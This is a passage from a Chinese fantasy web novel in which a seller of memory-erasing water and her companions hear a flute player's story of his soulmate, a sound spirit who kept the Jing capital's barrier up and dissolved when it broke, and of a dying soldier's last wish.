孟梨食朝轩辕剑看了一眼,后者发出沉鸣,散发金光,呼啸而出,破开仿佛凝结成块的黑暗。
一声震响后,孟梨食听见几声鬼魅般的惨叫。
她冲进洞中,小魂紧跟其后,从乾坤袋内抓了把荧光石扔在空中,黝黑的洞穴瞬间被照得亮堂堂的。
江余客被藤蔓五花大绑的缠着,扔在地上,他望着被亮光包裹的人,流出了眼泪……这光太刺眼了。
那道逆着最后一缕余晖的人跨步到他身前,“哭什么?”
“不是,这是……”江余客正想解释,小魂在另一边挥手喊道:
“孟梨食,鱼在这,快看,鱼还没被吃掉!”
江余客看着孟梨食,后者沉默,扭头朝小魂吼道:“鱼鱼鱼,你就知道吃,鱼哪有江余客重要!”
小魂:“……”
轩辕剑刷啦几下将江余客身上的藤蔓切断。
江余客活动了下发酸的胳膊,站起身,断成一截截的藤蔓簌簌往下掉落。
在两人一剑面前,几团暗紫色的雾飘在空中,发出低沉的呜声,急促又压抑。
许是面前两人一剑气势太过恐怖,它们微微后退,余光注意到什么,发出狞笑,几团雾气凝为一团,体型瞬间膨大,巨口猛张,对准了小魂……
“可恶啊!”小魂突然大喊,一吸气变得更为巨大,一张嘴将面前的雾气吞掉。
两人一剑:“……”
孟梨食:“你还吃鱼不?”应该吃饱了吧。
小魂恨恨道:“我不吃了!”
它猛地扭身飘出去,却不料一个人影忽然跑过来,直接将它撞飞。
孟梨食抬手将飞过来的魂稳稳接住,在它背上三两下一点,被对方吃掉的鬼雾顿时被吐了出来。
“云疏!云疏!”男人踉跄着停下脚步,目光慌乱地在众人脸上扫过,身形晃了晃,喃喃道:“在哪……在哪……”
他失神地后退一步,正要转身跑开,又像是突然回过神般,突然出现在孟梨食面前,急促问:“卖水人,找到了吗?”
他双眼着急又含着期待,这双眼,就算是孟梨食,也不愿去对视。
“没有。”孟梨食摇头。
男人脸上的期望破碎得太明显,眼中的泪水聚在眼眶中,要落不落。
“这样啊,”他后退一步,“如、如果你找到了,给她说、我在找她,谢谢你。”
他僵硬着转过身,离开了石洞,融于外面的黑暗中。
江余客心脏猛地一
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抽,他看向身旁好像愣住的人,问:“这是怎么回事?”
孟梨食微垂下头,一抹她很少会表现出的神色一抹而过,再次抬起头,她神色无异,道:
“上次神魔大战,一群魔闯进灵浮山,将林中一族杀害殆尽,他青梅失踪了,寻了她上百年。”
“那我们帮他一起找找吧。”江余客着急道。
“他青梅早就死了。”孟梨食语气沉重,“只是他不愿相信而已……算了,我实话跟他说。”
她正要追出去,恢复意识的小魂一把拦住她,左手握着神笔,说:“别这么直接,他受不住的。”
视线落在它手中的笔上,孟梨食立马察觉它的想法,食指一勾,一根红线出现手中,另一端没入黑暗,没入男人的后背。
接着,她变出一碗忘情水,等待着。
小魂在因果线上一摸,脑海中顿时浮现一位女子的身影,她穿着淡粉的衣裙,笑容甜美,眼眸灵动。
被握在手中的神笔开始挥动,笔尖流泻出荧白色的线条,不一会,存在于脑海中的人浮现在空中,并在一团白光后,凝聚成恍若为真实的人,轻轻落地。
孟梨食将忘情水递给女子,什么也没说,但对方却什么都明白,端着瓷碗,朝他们行了一礼,转身走向黑暗。
这是孟梨食初来人间卖忘情水时便遇到的人,那时男人已经寻找他的青梅寻了上百年,孟梨食自然不会放过这个做生意的机会,但奈何对方坚持认为青梅没死,将她狠狠拒绝了。
一晃多年过去,没想到对方还在寻找。
算了,钱她就不收了,想来对方也没什么钱。
“然后,就是你们了。”孟梨食声音骤然一冷,弯腰盯着地上的三团紫雾。
“哪来的小魔,也敢偷我的人和我的鱼。”孟梨食说着,活动手指关节,眼露邪恶。
小魂闻言也想飘上去威慑一番,余光却见江余客耳垂不正常的泛红。
啊这……鱼都没耳红你红什么?
小魂装出来的气势也泄了下去,它好像琢磨出什么,看向继续威慑的孟梨食,后者已经用红线将紫雾缠成了粽子,开始玩空中大旋摆。
“仙、仙人饶命,小的们有眼不识泰山,饶命啊!”紫雾发出哭嚎。
孟梨食记得在魔尊离开封印地之后,神魔两界是爆发了一次小小冲突,但并未造成什么影响,怎么她感觉妖魔开始肆虐了。
她想了想,此地离景都已经很近了,更不应该会出现这种会偷人偷鱼的坏魔才对……
她打了个响指,缠着紫雾旋个不停的红线骤然一停。
“来,说说,最近这里发生了什么不太平的事。”
“晕……晕……”
孟梨食没了耐心,威胁道:“再不说还有更晕的。”
“我、我说,呜呜,仙人饶命,我说。”
其中一团紫雾惨兮兮道:“是观天宗和蚀月崖,他们打起来了,把好多妖魔的封印都破坏了,就连景都结界都被打碎了。”
孟梨食眉头微皱,“景都结界碎了?”
“是啊是啊,后来被景都收拾了一顿,现在不打了。”
孟梨食思忖,应该是神魔两界的冲突影响了修仙界,好在未影响人界,不然劫难更大。
“算了,你们走吧,想吃鱼自己去捉,再干这种偷鸡摸狗的事,我饶不了你们。”
孟梨食恶狠狠说完,三只小魔忙忙应是,慌不迭跑了。
江余客提起已经缺氧窒息的鱼,检查一番,还是能吃的,便问:“回去吗?”
见孟梨食没回话,小魂了然道:“我们去看看那对青梅竹马吧。”
孟梨食耸耸肩,“那就去呗,看看他们有没有浪费我的忘情水。”
两人一魂顺着红线在林中悄摸摸移动,孟梨食不是很能理解,“我们就不能光明正大走过去吗?”
“人家小情侣正在伤感道别,你好意思去打扰对方?”小魂借着夜色翻了个白眼。
“哦。”孟梨食难得没有反驳对方。
走在前面的孟梨食脚步一顿,悄悄扯着对方衣摆艰难前行的江余客毫不意外地撞上对方,孟梨食一巴掌按着对方脑门将其推回去,没说什么。
江余客摸摸发烫的脑门,攥着对方衣摆的手紧了紧,他察觉到一道不容忽视的目光,一扭头,便见小魂一脸可疑地看
54. 奏琴者与吹箫者(1)
第二日早,马车咕噜咕噜驶进景都边界,一股清凉的早春气息扑面而入车内。
几人纷纷撩开车帘将头探出,街上的房屋与路上的摊贩、行人映入眼帘。
景都多雨,他们下了马车,呼吸间的空气湿润微冷,却又格外清新。
景都称不上热闹,人流量恰到好处,行人脸上都挂着淡淡微笑,举手投足间都带着安逸与满足。
“景都是有结界的,一般在战乱时开启,防止流民等涌入破坏这里的安宁,不过还有层外部结界,足够保护他们,且战乱结束会赠送他们物资让其另寻安家之地。”孟梨食突然出声道。
江余客心道难怪,不然这么好的地方早就被人挤满。
结界开启能让他们进入,说明周围还算太平。
孟梨食记得前不久神界与魔界起了小冲突,小小一战后便没了消息,这让她想到了自己的两位客人。
此地鲜少见有人行色匆忙,连带着他们这些外来客都不由的想慢下来,放松身心。
两人一魂下了马车后便一路闲逛,走到一段路口,孟梨食眼尖瞧见地上有什么东西,路上行人无人在意,却都纷纷避开行走。
“那是什么?”小魂停了一下,又好奇地飘了过去,刚靠近,一道白光忽现将它弹飞。
小魂:“……”这熟悉的被弹飞的感觉。
江余客抬手将它接住,视线落在那东西上,不确定道:“那是……碎掉的玉箫吗?”
他说话间,孟梨食已经跨步过去。
随着她靠近,结界发出白光以作警告,却被她轻松抬手撤掉。
她躬身将东西捡了起来,余光见周围行人脚步慢了下来,眼中露出惊愕。
她扫视周围一眼,朝江余客抬抬下巴,后者了然,拦住一位行人,问:“麻烦问一下,这是怎么回事?”
被拦住的是位书生,闻言合着扇子轻敲掌心,摇头叹道:
“这玉箫是萧者的,萧者说知音不在,萧也无用,便摔了,之前有修仙者路过,说这关乎景都结界,便施法布下结界护住。”
江余客听得稀里糊涂,正想问个清楚,却见孟梨食收回视线,有了动作。
他朝书生拱手道谢,那书生忙道:“你们最好不要乱碰这东西,虽说现在用不着结界。”
“自然。”孟梨食看了他一眼。
“不用再找人问了吗?”江余客问。
.
孟梨食笑道:“听故事,当然要故事主角来说才真实。”
她左手放着几截玉箫,右手轻轻一抬,玉箫顿时被一团橙光包裹,渐渐恢复原样。同时,一根红线从中钻出。
“这因果线可真红。”孟梨食视线随着因果线延伸出去,抬脚道:“走吧。”
几人顺着因果线拐了个弯,走出几十米后跨进一家酒馆。
孟梨食抬手将红线一收,抬手制止迎上来的小二的问话,道:“不用,我们找人。”言罢,径直上了二楼。
来到二楼一间房间前,将门推开,走了进去。
视线扫了扫,最终落在被一张屏风隔绝的阳台上。
小案一旁坐着个男人,水墨色衣袍,神情淡漠,失神地喝着酒,哪怕听见推门声,听见有脚步声在朝自己靠近,甚至有人坐在了自己对面,都没有任何反应。
直到孟梨食将完好无损的玉箫轻轻放在桌上,对方余光一瞥,饮茶的动作骤然一顿。
他盯着玉箫,又将视线挪在面前人脸上,“你……”
“吹一曲如何?”孟梨食问。
对方又低下头,望着茶杯不说话,眼中的悲伤却是毫无掩藏地流露出来。
“我是个卖水人,专负责卖忘情水,一碗解忧又忘愁,限时半价,来一碗不?”
“……不了。”对方撇开视线,灌酒似的,仰头将茶一口喝了。
孟梨食静静看着他,“那你能说说发生了什么吗?说出来也会好受一些。”
“卖水人?”对方抬头看她,像在思索自己在何处听过这个名号。
“我可以将故事告诉你,我也可以在你这里买一碗水,前提是你不介意我将它倒掉,我只是想麻烦你帮我送样东西。”
小魂忙用双臂对孟梨食比叉,“倒掉不行啊,必须得喝掉。”
孟梨食来了气,将它不轻不重地弹开,抱怨道:“事真多。”
她重看向对面的人,“行,你先说。”说完我再找你的薄弱点劝你喝,呵呵!
“我叫闻风,并非景都本地人,而是在许多年前来到这里,遇见听雨,也就是琴者,我一生难遇的知音……”
终于爬到泉边,虽只是在半山腰,视野却也是极好的,山脚的都城大半映入眼中,森林镶边。
风也不小,清爽中带着阳光晒过的温暖。
闻风站在一块巨石上,身后就是澎湃的瀑布,水流击打在岩石上,绽出雪白色的花。
他将萧放在嘴边,微闭上眼睛,听着风的声音,水的声音,将一切看到的都换用耳朵去感受。
就这么站着,感受许久后,他才将气送入萧中,对着这方天地吹奏起来。
萧声悠悠而出,被洪大的水声挤压,被风声推出,缓缓飘荡在天地间。
闻风眉头放松,尽情将自己融入这番境界,却在听到一声琴声时微微一怔。
他没睁眼,而是更加放空思绪,任自己的萧声混入不知何处传来的琴声,裹挟着,缠卷着,尽情碰撞,让万物生色。
一曲毕,闻风胸口因为激动而剧烈起伏,轻喘着气,他跑到泉边,朝下探头,正正对上一双含笑的眼眸。
对方站起身,手中抱着一张古琴,抬头看着他。
目光在空中相撞,无声却炽烈。
风景可寻,知音难遇,闻风直接从泉边跳下,扑通一声落入下方水潭,激起水花数米,也将岸边的人浇了个透顶。
哗啦——
他游到岸边,连忙爬上岸,脸上的激动难以控制。
“兄台,不知兄台何名?”闻风拱手,水从发梢、衣摆哗哗往下落。
“我叫听雨。”对方也在浑身往下淌水,却浑不在意地笑着。
“山间风凉,我家就在山脚,不如去我那换身衣裳,受凉就不好了。”
闻风满口答应,随着对方下山。
山脚有一片湖,上面荷花挤挤攘攘。岸边有一房屋,一条曲折木道架设在湖上,从木屋门口延伸到湖上的水榭前。
听雨带闻
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风去到一间房,拿出两套干净衣裳,两人隔着屏风匆忙将衣物换了,顿时觉得浑身干燥又温暖。
头发还是湿的,听雨在外间生了盆火,招呼对方来将头发烤干。
“你不是本地人吧。”听雨边将热茶泡上,边问。
“不是,”闻风擦着头发,坐在火盆前,“我今日才落脚景都,准备在这多待些时日。”
他笑笑,夸赞道:“你这古琴弹得真是……真是太好了,我都不知道该如何表述,那段曲调实乃清徽入骨,颇有弦外生机之感啊。”
“闻风谬赞了,我也只是应和你的萧声罢了。”
两人相谈甚欢,顿有知音相见太晚之感的遗憾,却又庆幸,好歹是遇见了。
“既然闻风初来此地,想必也没安排好住所,不如就在我这住下,我这地可好了,瞧见前面的满池荷花了吗?”
闻风自然是看见了,一下山最引人注目的便是这粉嫩的荷花了。
“不过,我还是喜欢雨打枯荷之声。”
他感叹一句,却见面前人一愣,拍着膝盖哈哈大笑道:“我亦是如此!”
“真的?”闻风不免惊讶,随即更感觉两人的志趣相投,实在是难得。
闻风在此地住下后,便时时与听雨相伴,他对此地不熟,往往是对方突然站起身,说:“走,我带你去个好地方。”
他便利落地站起身,眼眸明亮,带着期待,也不问是去哪,只道:“好。”
两人上了山,就在他们初遇的那汪水潭旁边,钻进一处浅显的小洞。
上方是云垂瀑布,水流积攒在上方的泉中,又顺着崖壁汇聚到下方形成水潭,在另一方淅淅沥沥落下,形成一排水做珠帘。
听雨来到珠帘前,颇有些得意道:“如何?”
他还没说这方天地的奥秘,闻风却拍手称赞:
“实在是妙!水缀珠帘,在下方按大小不同放置岩石,水击岩石,清鸣脆响有,醇厚深稳亦有,实在是妙!”
听雨轻笑一声,在原地盘腿坐下,古琴放在腿上,朝听风看了一眼,后者了然,举萧放置嘴边。
两人同时闭上眼睛,聆听水落在岩石上的多样声响,缓缓的,用手中的乐器去应和。
他们的灵魂被这曲调引导着,飘荡在天际间,在闻风看不见的地方,一点点白光从古琴上方飘出,随着音响飘到天际,融入一层近乎透明的膜。
等到一曲毕,天色已经暗沉,倦鸟从头顶匆匆掠过,留下被染红的云。
听雨站起身,朝着远方遥遥看去,眼中闪过一抹白光。
闻风看着对方背影,没有发觉什么不对,他走过去,以为对方在欣赏晚霞美景,也沉默着欣赏。
许久,听雨扭头对他笑道:“走吧,等天完全黑下来就不好下山了。”
“嗯。”
山间泉边是他们合奏场地,热闹集市也是。他们于林间修身,于闹市鸣人,没有哪天是不合奏的,而一合奏便几乎是整天,忘了吃忘了喝。
两人的名声也渐渐大了起来。
闻风是为了遇见知音的喜悦而奏,也是为了追寻音乐的真谛,他以为对方也是这样,也许就是这样,但,那时的他不知,对方还有另一个原因。
55. 奏琴者与吹箫者(2)
终于等到枯荷季,满湖的荷花凋谢,露出棕褐色、干枯的枝干,上面耷拉着棕色的叶,皱缩着、卷曲着。
莲蓬大多都黑了,深深地弯着腰,籽实早已落尽。整片湖只有一片褪了色的、安静的枯槁。
一大清早又下了雨,雨还不大,淅淅沥沥地击打在窗扉上。
闻风刚洗漱好,被听雨叫去了湖上的水榭。
檐下青纱被卷起一半,剩下一半被风吹拂着,灵动地舞动。
听雨身前小案上摆放好了茶具,身侧的小案上安置好他的古琴。
闻风靠着美人靠,食指轻搭着手臂,随着雨滴溅落声而动。
雨丝斜斜飘进,一个不注意糊了他满脸,他却觉得凉丝丝的,一直凉到心底,没忍住,笑了起来。
“笑什么呢?”听雨头也不抬,耳朵却注意着对方的一切,“过来喝杯热茶,天凉了。”
闻风走过来,在小案对面落座,拿起面前茶杯,微微一抿,又扭头去看外面,忍着笑道:“听雨啊。”
“啊?”听雨抬起头,“怎么了?”
对方笑着低下头,“我在听雨啊。”
对方这才发觉自己被耍了,跟着笑了一声,悠悠道:“听雨少不了闻风啊。”
闻风一怔,愕然抬头,却见对方已经侧过身,双手轻轻搭在琴弦上,从他的角度,只能看见对方的侧脸,但他怀疑对方在笑。
“嗡——”
对方轻弹一个音,顿了顿,似乎在等待什么。
闻风将萧放在嘴前,刚吹出第一个音,雨哗哗啦啦砸了下来,四周声响纷杂,阵阵闷响从头顶传来。
栏杆外的声响更加丰富,雨滴打在萎缩的荷叶上,发出“啪嗒啪嗒”的声响,打在光秃秃的荷茎上,“叮、叮”,竟有几分清冷的金石之音。
大多数雨滴还是落进水面,或者从荷叶上滚落进水面,滴滴答答,那声响,圆润、清晰、孤单,让人感叹,秋意凉而脆啊。
风也大了起来,夹杂着雨丝闯进来,凉意更甚。
闻风吹了一会,没忍住,缓缓睁开眼,失神似的望着眼前雨打枯荷之景,突然,一点点白光被风吹着,飘荡进他视野内。
那白光星星点点的,似萤火虫般,却又似月光般皎洁,缓缓往前往上飘荡,融入视野尽头的空中。
随着它们没入,一层圆弧状的白膜隐隐浮现。他不了解修仙之事,没见过结界,也猜不出这是什么东西。
他缓缓收回视线,想去寻找这白光的来源,最终,视线落在了听雨的古琴上。
他吹奏的动作不断,视线却惊愕地黏在身旁人的古琴上,眼中蕴含着惊讶与奇怪。
他失了神,任自己吹奏出的音被对方的琴音带着,他的思绪混乱,直到面前之人忽然睁开眼,撞进他眼中。
铮——
琴音停,萧声紧跟着停下,唯雨声还在持续。
“那是什么?”闻风问。
“琴音凝成的灵力,没什么。”听雨说完,抿着唇,又笑笑,“还继续吗?”
对方的神态不像是“没什么”的样子,闻风指着远方,追问道:“那个白膜是什么?”
听雨嘴巴嗫嚅,最终道:“那是景都的结界,防止外部灵力冲突影响景都安宁。”
闻风这时才知道,景都能成为被人们向往的太平之地,不但要用权力等防止国家战乱,还要用结界防止神魔大战或宗门冲突的影响。
而这结界,是由景都内的无数修仙之士和妖凝造,维护却主要依靠听雨。
听雨伸出手,接住飘进来的雨丝,“我是山间的一缕音灵,由这方天地凝聚,最终将归于这方天地。”
“每次弹奏,都是对这结界的加强,所以我得在消散前,尽可能多的弹。”
他望着对方,笑道:“本来有段时间我遇见瓶颈期,哪怕在琴前枯坐整日也弹奏不出什么,好在遇见了你。”
闻风惊讶于对方的身份,更震惊于对方嘴中的“消散”。
“消散?这是什么意思?”他颤着声音问。
这是很严肃的话题了,但听雨依旧在笑,消散的是他,但最不在意的应该也是他。
“就是消失的意思咯。”
“……什么时候?”
“等景都周边不太平的时候。”
闻风再也说不出什么,如果消散不可避免,他只希望在有生之年,能让对方没有遗憾地离开,顺便,再与对方多合奏几曲。
见对方沉默,眼中流露出明显的悲伤,听雨换了个话题道:
“今日一早就拉你来赏雨,忘了给你说,后日城主府办宴,请我们去合奏一曲呢。”
“城主府?竹息林?”
听雨点头,这两者也算同一个东西,不过一个在明面上,一个在暗地里,一个管辖人间政事,一个负责交接江湖宗门。
闻风扭过头:“去吧,没道理不去。”
后日是城主大寿,整个景都都像是过上了盛节一般,尤其到了晚上,华灯将街巷缀满,五颜六色的光将黑夜装饰。
宴会上不光有景都的知名者,更有其他宗门送上贺礼,就如那一直与竹息林交好的一念谷,也就是神医谷。不过,俞国和晟国送来的礼却被完全退了回去。
“景都作为中立派,夹在两国中间,想要继续守护这方安宁,那就两方都不给好脸色。”听雨解释道。
“不怕两国一气之下联手,将景都拿下?”闻风问。
听雨笑笑:“景都没那么弱,况且,景都牵扯的江湖势力太多,想拿下可不是这么轻易的事。”
听到这,闻风松了口气,深深地看了对方一眼,而听雨被一位侍从拦着,告知他们演奏安排,没注意身旁人的视线。
自从对方告知身份后,闻风就对这些国家关系格外上心,连同周边宗门的往来动静也一并留心,哪怕他知自己没有能力去改变什么。
“闻风?”听雨叫了好几声,对方才终于晃过神,一脸悲伤地看着他。
“怎么了?要到我们了。”
闻风摇头,暗暗呼了口气,“走吧。”
听雨缓缓收回视线,他在想,如果早就知道自己要消失,那对方还会来认识自己吗?
如果早点告诉对方自己要消失,那剩下的日子里,对方是会慢慢缓解悲伤,还是逐日加深这悲伤?
他终于反应过来,也许自己太自私了,他不在乎自己是否存在,但有人在意。
终于到两人上场,宾客落座在大殿两侧,殿前坐着城主与少城主,所有人的视线都凝聚在两人身上,甚至有讨论声传来。
“早就听闻这萧者与琴者不凡,两人合奏,可谓绝唱啊!”
“是啊,能听一曲也是有幸。”
这些人的夸赞和他们流露出的敬重并未让闻风有多高兴,他吹奏,从不追求这些。
吹吧,吹起来就不会再想那些烦心事了。
等到耳边响起琴音,他心有所感地吹奏起来,他箫声起时,琴音正歇在第七徽的泛音上。
他的心在往下沉,萧声也在往下沉,一个悠长的“呜——”,带着玉管内壁细微的“簌”的气流声。
他吹得入神,忽然察觉琴音高了几度,猛地回过神,发现自己吹奏得太低沉,太悲伤了些,不适合这大寿之宴的喜庆,忙换了气流,去跟随琴音。
到底他有些心神不宁,最后一个音,是箫先收的。
余音散尽后,案上烛火“啪”地爆开一朵灯花,全场轰动。
“好啊,演奏得好啊!”城主率先赞赏道,应和声接踵而起。
听雨侧头朝闻风看了看,笑道:“不错,你前期的萧声处理得很好,配上后期,有种峰回路转后的释然,千帆历尽后的从容。”
闻风疲倦地扯出一抹笑,心道不过歪打正着,要不是你及时纠正,我就犯下大错了。
但一曲总算有惊无险地结束,效果也称得上完美,而两人在此次宴会后,名声大噪。
但这都不是两人在意的事,在意的,是不久后发生的事。
“俞国和晟国开战了?”孟梨食问。
闻风:“是,也不全是因为这个……”
近几年,俞国与晟国关系一直不太好,去年还闹过一次冲突,今年最终是打了起来。能称得上一句不幸中的万幸的,就是两国战乱没有波及到景都。
但闻风依旧在担心,担心城主府的威慑力不够,担心有一日军队铁骑会踏碎景都结界。
最让他提心吊胆那次,两国战场离景都不到二十里。
他登临高处,仿佛能听见军队嘶吼。
他盯着远处的空气,他只是凡人,寻常是看不见那道结界的,但他仿佛硬要看穿什么般,不敢收回视线。
天色渐暗,厮杀声与兵戈相撞声也渐渐平息,傍晚的风在稀疏林间穿过,萧瑟又悲凉。
他终于收回目光,下了山。
难得这次他身边没有听雨的身影,他也不愿对方看出自己的担忧。
今日早两人合奏时,他心神不宁吹错了一个音,对方察觉什么,却只是笑道:
“每个人的归宿都是自然,你的归宿是自然的泥土,而我的是自然的声音。”
闻风却是一脸不愿被说服的固执模样。
对方继续道:“泥土会重新孕育你,而声音会重新凝聚我。”
闻风知道对方意思,轮回嘛,但是,他问:“那时的我们会忘记这一切。”
换句话说,他觉得那时的他们不是现在的他们。
“我们不是知音吗?”听雨朝他眨眼睛,“我们一定会再次相聚的。”
闻风顿时说不出话来,他也不知道对方是认真的,还是在安慰他。
他收回视线,在天完全黑下来前下了山,回到湖边的小屋。
屋内暖黄色的烛光映照在窗扉上,又浸出来,驱散屋外的黑暗,很明亮,很让人安心。
闻风走进屋中,却突然闻到股血腥味。他眉头一皱,不好的预感砰的占据他所有思绪,还没反应过来身体已经撞开了听雨的房门。
望着眼前之景,他惊了惊。
听雨的床榻上躺着个男人,他脸色不正常的苍白,被子盖在小腹上,胸口上颤着白布条,但伤口依旧在往外渗血,白布条很快被染出块块刺眼的红色。
地上散落着盔甲和长枪,枪尖血迹依旧干涸。
听雨正站直身,手里拿着药瓶,在门被陡然破开时吓了一跳,望见来人才松了口气。
“吓死我了。”他喘匀气,走到床边,正要将药瓶打开将里面的灵药灌入病人口中,后者却缓缓睁开眼。
“你们是……”
床上人的视线艰难聚焦,将面前扫了扫,最终落在站在床前人的脸上。
“我叫听雨,一个乐师,这里是景都,这里很安全。”
某种意义上,景都就是安全的代名词。
“谢谢……你们,能麻烦你们……帮个忙吗?”他努力伸出手,指着地上自己的衣饰盔甲。
两人顺着对方指的方向看去,听雨又看向他,认真聆听的样子,语气坚定:“你说。”
“帮我……送样东西。”他气若游丝道。
“盔甲里层……有块玉佩,和一封信……烦你们送给晟国……一个叫,叫温澜的姑娘……”
越说他气息越弱,眼皮也没了力气去撑起,“婚约,我赶不上了,叫她,别等我了……”
一道惊雷砸在两人心中。
床上的人在说完这些后,压在心中的重量减轻大半,眼皮终于沉重地耷拉下来,泪水从眼角滚落。
听雨颤着手去触对方鼻息,却没能触到。
他手臂缓缓垂落,抬起头,看向门口同样不知所措的人。
……
“温澜?”孟梨食脸上闪过一抹愕然,旋即有些不自然。
江余客敏锐注意到对方神色变化,问:“怎么了?”
孟梨食沉默着摇头,示意闻风继续说。
闻风太阳穴突突跳着,脑袋钝痛。他静默许久,静静听着,直到床上人交代完遗事,没了生气,才回
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过神来。
一瞬间,四肢的冰冷混着锥刺的麻意涌入大脑。
他看向面前神色同样恍惚的人,虽然知道已经迟了,却仍忍不住问:“景都规矩,开战时不许外人进入,你……这是怎么回事?”
“我看见了,没办法不救。”听雨扭过头,他下午去景都边界检查结界,看见了对方。
那时对方还有意识,半个身子浸在河中,满身血污,脸色苍白,嘴唇发紫。
他本以为对方已经断气,在经过时,却突然被抓住衣摆。
听雨收回思绪,拖着发软的腿来到堆放在地的盔甲前,他蹲下身,伸手在衣服里摸索。
闻风看见对方动作一顿,接着收回手。
两人视线落在听雨掌心,落在一块玉佩上。
那是半块圆形玉佩,质地温润,边缘有一种柔和的、蜜蜡般的光,可以想见它被主人握在手中细细摩挲,念叨着某个人的样子。
听雨又从里面翻找出一封信件,他久久望着手中之物,仿佛握着什么很沉重的东西,重量一直从掌心传到心上,压得他喘不过气来。
“两国战乱搅得天下不宁,景都之外危机四伏,你如何跋涉到晟国,找一个叫温澜的姑娘?”
见对方没反应,闻风生怕对方不顾一切地去送信,放轻声音道:“等战乱结束,我陪你去。”
听雨安慰性地笑笑,“别担心,我没法去晟国。”
那时闻风才知,对方身为这方天地的一缕音灵,肩负着修护景都结界的使命,本身是无法离开结界太远的。
闻风脸上的震惊与悲痛太明显,整个人都愣在原地,听雨反过来安慰他:
“没事的,我就想一辈子待在景都内,等战乱结束我遣人去送。”
闻风再没说话,与对方将这亡人的尸体埋葬在湖边,入土为安。
“等寻到他挂念的人,告诉对方他睡在这里,再由对方决定是否要将尸骨迁出。”
听雨站在湖边,望着已经淡去的星子,说出的话被夜风带着,飘进闻风耳中。
看着对方背影,无端的,闻风觉得对方在对自己说,这语气,让他想到睡在此地的人,想到他死前说的话,就像遗言。
俞国与晟国的交战越演越烈,好在景都未受其影响,但同时,神界与魔界发生了一次小冲突,对人间未有太大影响,但对人间之外却说不定。
景都周边有不少宗门,正邪两派各有,神魔两界的紧张关系扩大了观天宗与蚀月崖的摩擦,而景都结界主要防的便是修仙界的冲突。
一个很平常的清晨,闻风是被一阵悦耳琴声唤醒的。
窗户被打开,湖面景色一览无余地落入他眼中。
有鸟鸣在窗外悠扬,有清风拂过湖面,轻敲窗扉,进入房间。
他久久地望着窗外,又循着琴声看向房门。
洗漱完,他被琴声引着来到阳台,看到香炉青烟袅袅,弹琴者抬起头,朝他笑了一下。
琴声悠扬,带着听者的思绪远去。
闻风自然地拿起玉箫,放在嘴前吹奏。
这是与以往无数个清晨没有区别的清晨,平淡又怡人。
那天后闻风才知道,分别就在某个很平凡的一天,某个很平凡的清晨。
分别的意识早已无声无息地进入脑中,却没人用言语去说出。
一滴泪从闻风脸颊上滑落。
随着琴弦的每次拨动,月白色星星点点的光凝聚,它们绕着听雨飘旋,又飘在闻风身边,最终流向天际。
景都结界若隐若现,闪烁着。
突然,天际红光一现,结界破碎。
闻风眼睛倏地睁大,萧声呜咽一声后突兀地断绝。
“闻风,世界上没有绝对安全的地方。”听雨抬眼看他,下巴渐渐化为星粒,月白色的,混入琴弦凝出的星光中。
他弹奏的动作不断,继续说:“结界破碎是迟早的事,也许有一日,景都会从大地上消失。”
闻风双腿一软,瘫跪下来,他颤抖着伸出手,轻轻拉住对方衣袖,却感受到对方是如何一点点化为星光消散。
结界破碎后,会有修仙者或妖前去抵挡外部攻击,一道道各色的光闪烁在天际。
星星粒粒的白光消失了,彻底消失了。
闻风站起身,将玉箫凑到嘴边,悲切的呜咽声传出。
他看见,白光从玉箫中浮出,消散于天际。
他好像明白什么,但那又如何,他吹奏,只为两个原因,但知音没了,音乐真谛好像也没了追寻的意义,所以,他再不会吹奏。
“嗯,必亡的结局。”孟梨食点点头,望着眼前的人,奇怪道:
“如果对方在初遇时就告诉你他必消亡的结局,你还会想认识他吗?”
闻风顿了下,眸光闪烁,“会。”
孟梨食想,“早知今天,何必当初”也不一定每件事都受用嘛。
她思绪发散地想着,余光见身旁的人羍着脑袋,用手肘碰了碰对方,挑眉问:“你怎么了?”
江余客缓缓摇头,沉重地叹了口气:“分离,真的就在一个再平凡不过的早晨。”
孟梨食颇觉没意思地撇嘴,可又一想,心里又有些不是滋味。
她轻蹙眉,将思绪抛开,重新看向面前的人,问:“你想我帮你将玉佩和信件送给温澜,再告诉她亡者被埋葬在这?”
“是。”闻风点头,“我知卖水人神通广大,拥有查询因果线的能力,交由你,一定能送到。”
“交由我,就这个原因?”孟梨食目露狐疑。
“我出不去。”对方侧头,视线落在窗外,再次修补好的结界清晰地映入眼中。
“我也托人去寻找过,找错两次,幸好没确认前我没交出玉佩和信件。”他有些苦涩道。
“懂了,那么……”
孟梨食话还没说出来,闻风尽量礼貌却依旧显得有些无情地打断道:“不喝。”
他抿着唇,垂下眼,“抱歉,我不会忘记他。”哪怕记住是件很痛苦的事。
56. 鬼魂母亲与被弃男婴(1)
几人在景都待了些日子,这里汇聚人、妖、魔、灵等,大家和谐相处,活得自在。
这里美好的有些不真实,好像用手轻轻一碰,便会破碎似的。
景都与晟国还有些距离,约两日路程,当然,这不算在途中一座小城暂留的时间。
这座规模不大的城叫青涯城,有个更形象的名,叫流民城。
为了在战乱中获得庇佑,无数流民涌向景都,却被景都结界阻隔在外。大家靠着景都外部结界聚集起来,成为部落,成为村庄,成为小镇,最终成为几人眼前的小城。
虽称城,但繁华度并不高,甚至称得上萧瑟、破败。
街道上飘散着枯叶,被风一吹,混着厚重的灰尘满天飘荡。街两旁的房舍单调地排开,鲜少见颜色鲜艳的店招幌子。
空中弥漫着说不上来的怪异味道,冰冷,有些湿润,像腐烂的花。
见孟梨食皱眉嗅来嗅去,小魂道:“城外有乱葬岗。”
“不止,”江余客在车前道,“这里的人大多是流民难民,尸体腐烂味,药味,排泄味也混杂着。”
街上行人三三两两,大多面黄肌瘦,双目无神,若不是在白日下行动,怕让人误以为是尸体。
但城中也有生活得不错,甚至开店做买卖的,视线在触到孟梨食几人时,眼底毫无掩藏地闪过精光。
“这个地方伤心人肯定多。”孟梨食自动忽略这些视线。
小魂被店前一个男人毫无掩饰的贪婪目光刺了一下,迅速将车帘放下,牙齿打颤道:“孟梨食,这地方不安全,咱们赶紧离开吧。”
江余客扯着缰绳,视线在街道上身形消瘦的人上扫过,叹气道:
“就算想济贫,也不是那么容易的事。”
“这座城处在这个位置,它就不可能富得起来。”孟梨食斩钉截铁道,她掀开车帘,坐在江余客身旁。
后者微愣,“你出来做什么?”
孟梨食视线在街两旁快速扫过,回道:“寻找有缘人。”
就在这时,一道小小的灰色身影从余光中闪过,孟梨食脸色瞬变,连忙覆上江余客拉缰绳的手,将马勒住。
“你……”江余客看向依旧被对方覆住的手,眼睛微微睁大。
“怎么突然停车了?”小魂搓着手臂出来,看见两人手覆着手,满脸震惊。
